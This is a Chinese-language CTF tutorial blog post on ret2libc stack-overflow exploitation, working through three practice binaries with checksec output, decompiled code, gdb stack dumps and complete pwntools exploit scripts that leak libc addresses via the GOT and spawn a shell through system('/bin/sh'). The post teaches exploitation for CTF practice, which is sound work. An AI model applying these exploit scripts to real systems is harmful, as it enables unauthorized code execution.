PWN栈溢出基础——ROP1.5(ret2libc)
之前在我写的ROP1.0中介绍了ret2text、ret2shellcode、ret2syscall,本次介绍ret2libc。
原理
ret2libc即控制函数的执行libc中的函数,通常是返回至某个函数的plt处或者函数的具体位置(即函数对应的got表项的内容)。一般情况下,我们会选择执行system("/bin/sh"),故而此时我们需要知道system函数的地址。
例1.ret2libc1
checksec
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
有NX,不可用ret2shellcode。
IDA
//漏洞函数长这个样子,偏移也比较容易计算哈
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1Ch] [ebp-64h]
setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("RET2LIBC >_<");
gets(&s);
return 0;
}
gets的栈溢出,偏移计算没什么亮点,可以看ROP1.0。
查看string里边既有system函数,也有/bin/sh,那么思路有了
payload='A'0x6C+'A'4+system_addr+binsh_addr
exp
from pwn import *
p=process('./ret2libc1')
system_addr=0x08048460
binsh_addr=0x08048720
##payload='A'*0x6C+'A'*4+p32(system_addr)+p32(binsh_addr)
##上边的payload是错的
payload='A'*0x6C+'a'*4+p32(system_addr)+'aaaa'+p32(binsh_addr)
p.sendline(payload)
p.interactive()
实际上我们一开始给出的思路是错的,因为需要考虑函数调用栈的结构,如果是正常调用system函数,我们调用的时候会有一个对应的返回地址,这里以'aaaa'作为虚假的地址,其后参数对应的参数内容。
这个题运气好的地方在于同时给出了system和/bin/sh
(>_<,函数调用栈的知识我后边尽量添加上。)
例2.ret2libc2
这个题很好玩哟~
checksec
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
同样是开启了NX,所以也难不到哪里去。
***IDA
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1Ch] [ebp-64h]
setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("Something surprise here, but I don't think it will work.");
printf("What do you think ?");
gets(&s);
return 0;
}
x_x,我试着做一做啊
这道题里边有system函数,但是没有/bin/sh 字符串,所以我猜测啊,可不可以调用gets函数读取/bin/sh到了某个地方,然后再调用system函数。
在.bss段里可以找到一个buf2(问题在于,我也不知道怎么看会想到有这个全局变量的?)
.bss:0804A080 ; char buf2[100]
.bss:0804A080 buf2 db 64h dup(?)
.bss:0804A080 _bss ends
那么存放bin/sh的地方确定了,嘿嘿,0x0804A080
payload='a'0x6C+'a'4+gets_addr+system_addr+buf2_addr+buf2_addr
问题来了,怎么把/bin/sh输进去?
(答:我想的有些复杂了,直接senlind进去就可以了)
exp
from pwn import *
system_addr=0x8048490
gets_addr=0x8048460
buf2_addr=0x804A080
p=process('./ret2libc2')
payload='a'*112+p32(gets_addr)+p32(system_addr)+p32(buf2_addr)+p32(buf2_addr)
p.sendline(payload)
p.sendline('/bin/sh')
p.interactive()
问题来了,payload的布局为什么是这样的,我会从两部分来说,一部分是函数调用,另一部分是实际调试的时候的变化。(函数调用的知识最后再说)
事后调试
依旧在leave指令处下断点(详见ROP1.0),执行ret之后执行gets函数,这个应该好理解。在backtrace中可见,执行Gets之后会去执行system函数。
栈中数据如下:
00:0000│ esp 0xffb8cc00 —▸ 0xffb8cc1c ◂— 0x61616161 ('aaaa')
01:0004│ 0xffb8cc04 ◂— 0x0
02:0008│ 0xffb8cc08 ◂— 0x1
03:000c│ 0xffb8cc0c ◂— 0x0
... ↓
05:0014│ 0xffb8cc14 ◂— 0xc30000
06:0018│ 0xffb8cc18 ◂— 0x0
07:001c│ 0xffb8cc1c ◂— 0x61616161 ('aaaa')
... ↓
23:008c│ 0xffb8cc8c —▸ 0x8048460 (gets@plt) ◂— jmp dword ptr [0x804a010]
24:0090│ 0xffb8cc90 —▸ 0x8048490 (system@plt) ◂— jmp dword ptr [0x804a01c]
25:0094│ 0xffb8cc94 —▸ 0x804a080 (buf2) ◂— 0x0
接着往下单步执行
从栈中取出buf2的地址,并给eax赋值。而在payload总紧跟着gets函数地址的system函数地址是gets函数的返回地址,接着往下单步执行,直到返回
这一步调整栈帧
最后成功执行system函数,并将/bin/sh作为参数
ret2libc3
这个题的难度比较大,麻烦的地方有两个,首先是要计算出偏移地址,随后再劫持程序运行流回到最开始,这个貌似和延迟绑定有关系。另一个是工具使用上的,找到合适的libc地址。
checksec
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
开启了NX保护
IDA
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1Ch] [ebp-64h]
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("No surprise anymore, system disappeard QQ.");
printf("Can you find it !?");
gets(&s);
return 0;
}
gets()函数存在栈溢出漏洞,当前偏移很好确定。
查看string
里边没有system,没有/bin/sh。(话说,这里都把GLIBC的版本给出来了,不是么?)
如何得到system函数的地址呢?这里就主要利用了两个知识点
(1)system函数属于Libc,而libc.so动态链接库中的函数之间相对偏移是固定的。
(2)即使程序有ASLR保护,也只是针对于地址中间位进行随机,最低的12位并不会发生改变。(虽说这道题并没有开启PIE)
如果我们知道libc中某个函数的地址,那么我们就可以确定该程序利用的libc,从而得出system函数的地址。
确定system地址
如何得到Libc中的某个函数的地址呢?一般常用的方法是采用got表泄露,即输出某个函数对应的got表项的内容。当然,由于Libc的延迟绑定机制,我们需要泄露已经执行过的函数的地址。(延迟绑定机制的原理最后再说)
泄露函数地址
计算溢出点,便可以先将部分函数泄露出来。这里选择泄露_libc_start_main和puts两个函数地址
##ret2libc3_exp1.py
from pwn import *
p=process('./ret2libc3')
elf=ELF('./ret2libc3')
puts_plt = elf.plt['puts']
libc_start_main_got = elf.got['__libc_start_main']
main = elf.symbols['main']
puts_got = elf.got['puts']
print "leak libc_start_main_got addr and return to main again"
payload1 = 'a' * 112 + p32(puts_plt) + p32(main) +p32(
libc_start_main_go)
p.recvuntil('Can you find it !?')
p.sendline(payload1)
print "get the related addr"
libc_start_main_addr = u32(p.recv()[0:4])
print("addr:" + hex(libc_start_main_addr))
payload中首先填充112个'a'到达返回地址,修改返回地址为puts()函数,中间放的p32(main)可以换成别的,最后libc_start_main_go是需要泄露的函数地址。
可见,得出了libc_start_main的地址,在线查找对应的Libc版本,
链接:https://libc.blukat.me/
可见版本为libc6-2.26,可以看到这个数据库给出了下载链接并且给出了几个函数的偏移地址。将对应的Libc文件下载下来,重命名为libc.so,移动到和目标文件的同一目录下。
整体的思路
·泄露__libc_start_main地址
·获取libc版本
·获取system地址与/bin/sh的地址
·再次执行源程序
·触发栈溢出执行system('bin/sh')
exp
##ret2libc3_exp.py
#!/usr/bin/env python
from pwn import *
from LibcSearcher import LibcSearcher
sh = process('./ret2libc3')
ret2libc3 = ELF('./ret2libc3')
puts_plt = ret2libc3.plt['puts']
libc_start_main_got = ret2libc3.got['__libc_start_main']
main = ret2libc3.symbols['main']
print "leak libc_start_main_got addr and return to main again"
payload = flat(['A' * 112, puts_plt, main, libc_start_main_got])
sh.sendlineafter('Can you find it !?', payload)
print "get the related addr"
libc_start_main_addr = u32(sh.recv()[0:4])
libc=ELF('libc.so')
libcbase=libc_start_main_addr-libc.symbols['__libc_start_main']
system_addr=libcbase + libc.symbols['system']
binsh_addr=libcbase + 0x17e0af
print "get shell"
payload = flat(['A' * 104, system_addr, 0xdeadbeef, binsh_addr])
sh.sendline(payload)
sh.interactive()
exp分为两部分,第一,通过栈溢出获得libc偏移地址并控制程序流程重新回到main函数开始。第二,根据偏移地址计算出system和/bin/sh的地址,利用栈溢出geyshell。
注意第二次的时候,偏移地址不是112,而是104,这是因为第二次进入主函数之后,栈帧发生了变化。
事后调试
先把第二次的payload的偏移设为112,看看会发生什么
可见,第一次的payload发挥作用了,将调用puts函数,并且之后返回到main函数开始处。
可见,第二次的payload并未能改变程序流程,当前
EBP:0xffca3a80,如果你回过头去看,第一次执行main函数的ebp为0xffca3a78。0xffca3a80-0xffca3a78=8
这时候就是偏移出了问题,可见多出了8个a,修改偏移为104即可。
这里的偏移104也可以根据cyclic得出
$cyclic 300
$gdb ./...
$r
$cyclic -l "0x******"
为什么偏移少8
__start是程序的起始。
直接用main_plt=elf.symbols['_start']的话,仍然填充为112
使用main需要减去8
可以这样计算:ebp+0x4-(esp+0x1C)(esp+0x1c是字符串的起点),ebp+4的目的是从main开始调用。
补充知识
函数调用
栈空间是计算机内存中一段确定的内存区域,也有着一些指针指向相应的内存地址,在x86架构中这个指针位于ESP寄存器,而在x86-64平台上为RSP寄存器。在计算机底层,栈主要的几个用途是:(1)存储局部变量;(2)执行CALL指令调用函数时,保存函数地址以便函数结束时正确返回;(3)传递函数参数。
使用栈保存函数返回地址
CALL指令调用某个子函数时,下一条指令的地址作为返回地址被保存到栈中,等价于PUSH返回地址与JMP函数地址的指令序列。
被调用函数结束时,程序将执行RET指令跳转到这个返回地址,将控制权交还给调用函数,等价于POP返回地址与JMP返回地址的指令序列。因此无论调用了多少层子函数,由于栈后入先出的特性,程序控制权最终会回到main函数。
调用子函数这一行为使用PROC与ENDP伪指令来定义,且需要分配一个有效的标识符,所有的x86汇编程序中都包含标识符为main的函数,这是程序的入口点,main函数不需要使用RET指令,但其他的被调用函数结束时都需要通过RET指令被控制权交还调用函数。
1 ... .code
2 ... main PROC
3 0x00008000 MOV EBX,EAX
4 ... ...
5 0x00008020 CALL testFunc
6 0x00008025 MOV EAX,EBX
7 ... ...
8 ... main ENDP
9 ... ...
10 0x00008A00 testFunc PROC
11 ... MOV EAX,EDX
12 ... ...
13 ... RET
14 ... testFunc ENDP
通过上面的代码片段,可以看到栈是如何保存函数返回地址的。当第5行的CALL指令执行时,下一条指令的地址0x00008025将被压入栈中,被调用函数testFunc的地址0x00008A00则被加载至EIP寄存器,如所示。
当执行第13行的RET指令时,将分为两个过程,第一步,ESP指向的数据将被弹出至EIP寄存器;第二步,ESP的数值增加,将指向栈中的上一个值。如图
所示
使用栈传递函数参数
在x86平台程序中,最常见的参数传递调用约定是cdecl,其他的还是stdcall、fastcall和thiscall等。需要注意的是,我们可以使用栈传递参数,但并不代表栈式唯一传递参数的方式,在x86-64上,还可以通过寄存器传递参数。
假设函数func有三个参数arg1,agr2和arg3,那么在cdecl约定下通常如下所示:
push arg3
push arg2
push arg1
call func
此外,被调用函数并不直到调用函数向它传递了多少参数,因此对于参数数量可变的函数来说,就需要说明符标示格式化说明,明确参数信息。常见的printf函数就是参数数量可变的函数之一。如果我们在c语言中这样使用pinrtf函数:
printf("%d,%d,%d",9998)
那么得到的结果不仅会显示整数9998,还将显示出数据栈内9998之后的两个地址的随机数(通常这种数据是被调用函数内部的局部变量。)
延迟绑定
动态链接比静态链接要慢1%~5%,根据动态链接中PIC(与地址无关代码)的原理PIC,可以直到造成该情况的原因如下:
(1)动态链接下对于全局和静态数据的访问都要进行复杂的GOT(全局偏移表)定位,然后间接寻址;对于模块间的调用也要先定位GOT,然后再进行跳转。
(2)动态链接的链接工作是在运行时完成,即程序开始运行时,动态链接器都要进行一次链接工作,而链接工作需要复杂的重定位等工作,减慢了启动速度。
针对上述第二个减慢动态链接的原因,提出了延迟绑定(Lazy Binding)的要求:即函数第一次被用到时才进行绑定。通过延迟绑定大大加快了程序的启动速度。而 ELF 则使用了PLT(Procedure Linkage Table,过程链接表)的技术来实现延迟绑定。
当在程序运行过程中需要调用动态链接器来为某一个第一次调用的外部函数进行地址绑定时,需要提供给动态链接器的内容有:发生地址绑定需求的地方(文件名)以及需要绑定的函数名也即是说,假设动态链接器使用某一个函数来进行地址绑定工作,那它的函数原型应该为: lookup(module,function)。
PLT的简单实现
原来的做法:调用某一个外部函数时,通过GOT中的相应项进行间接跳转。
PLT的做法:调用函数时,通过一个PLT项的结构来进行跳转,每一个外部函数中都有一个相应的项。
bar@plt:
jmp *(bar@GOT) //如果是第一次链接,该语句的效果只是跳转到下一句指令。否则,将会跳转到 bar()函数对应的位置
push n //压栈 n,n 是 bar 这个符号在重定位表 .rel.plt 中的下标
push moduleID // 压栈当前模块的模块ID,上述例子中的 liba.so
jump _dl_runtime_resolve() //跳转到动态链接器中的地址绑定处理函数
先说这么多把,后边我再续一下,目前关于延迟绑定没找到好的资料。
后记
参考链接
https://www.freesion.com/article/5780503138/
https://www.bilibili.com/video/BV1pb411P7vG?from=search&seid=7059356990447699539
https://wiki.x10sec.org/pwn/linux/stackoverflow/basic-rop-zh/#3
https://blog.csdn.net/virtual_func/article/details/48789947